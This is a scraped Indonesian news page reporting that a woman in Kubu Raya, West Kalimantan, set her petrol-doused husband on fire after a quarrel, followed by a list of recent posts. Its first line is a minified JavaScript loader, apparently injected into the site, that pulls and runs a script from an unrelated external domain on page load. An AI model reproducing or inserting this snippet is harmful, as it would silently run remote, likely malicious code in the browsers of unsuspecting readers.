(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Barat

Istri Nekat Bakar Suami di Kubu Raya, Ini Pemicunya


KANALKALIMANTAN.COM, PONTIANAK – Seorang istri (SA) dikabarkan tega membakar suami (SN) saat tidur di kandang sapi yang berlokasi di Jalan Swadaya, Gang Karya, Desa Pal Sembilan, Kecamatan Sungai Kakap, Kabupaten Kubu Raya, Kalimantan Barat pada Sabtu (05/08/23) pukul 02.00 WIB.

Kejadian naas yang menimpa korban mengakibatkan SN terpaksa harus mendapatkan luka bakar hingga 60 persen pada tubuhnya dan kini telah dilarikan di salah satu rumah sakit yang berada di Kubu Raya.

Menurut keterangan Aiptu Ade, Kasubsi Penmas Polres Kubu Raya, kejadian tersebut ternyata bermula saat SA meminta uang kepada SN untuk membeli buku sekolah anaknya.
Saat meminta uang, ternyata SN menjawab dengan ungkapan kasar yang akhirnya membuat SA tersulut emosi.

Baca juga: Kasus Perundungan Harus Dihentikan dari Rumah, Orangtua Penting Ajarkan Ini

Mendapati perlakuan suami tersebut, SA spontan dan tanpa rencana menyiram korban dengan bensin pertalite yang awalnya bertujuan untuk mengertak korban.

Sang suami yang tersiram bensin kemudian menantang SA untuk benar-benar membakarnya.

“Tersulut emosi, SA menyiram SN dengan bensin yang awalnya dimaksudkan hanya untuk menggertak. Situasi semakin panas saat SN menantang istrinya dengan berkata, ‘Jangan cuma ngomong, bakarlah’.

Tanpa berpikir panjang, SA pun menyalakan api ke SN menggunakan korek api yang berada di dekat suaminya,” ungkap Ade, Kamis.

Baca juga: Kain Kiswah Ka’bah di Grand Opening Risma Present Jadi Rebutan Warga

Tak menyangka sang istri benar-benar membakarnya, dalam keadaan tersulut api SN lantas berteriak meminta tolong dan melompat ke dalam kolam untuk memadamkan api yang membakarnya.

Melihat keadaan sang suami, SA kemudian panik dan berusaha menolong korban dengan menariknya dari kolam untuk segera dilarikan ke Puskesmas Kalimas untuk mendapatkan pertolongan.

Diketahui pelaku kini telah diamankan pihak kepolisian demi melakukan penyelidikan lebih lanjut walaupun ternyata sebelumnya belum ada laporan terkait hal tersebut, langkah ini diambil atas perintah oleh Kapolres Kubu Raya dalam menangapi berita viral tersebut.

Baca juga: Mentan SYL Andalkan Kalsel Antisipasi El Nino, Siapkan Lahan 100 Ribu Hektare

“Sampai saat ini kami dari Polres Kunbu Raya masih menunggu laporan dari pihak korban,” tegas Ade.

Selain itu, diketahui pula ternyata sang suami yang dikabarkan sebelumnya tidur di kandang sapi ternyata tidak benar namun diketahui SN tidur di sebuah pondok yang dekat dengan kandang sapi. (Kanalkalimantan/Suara.com/kk)

Editor : kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

12 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

12 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

17 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

19 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

19 jam ago

This website uses cookies.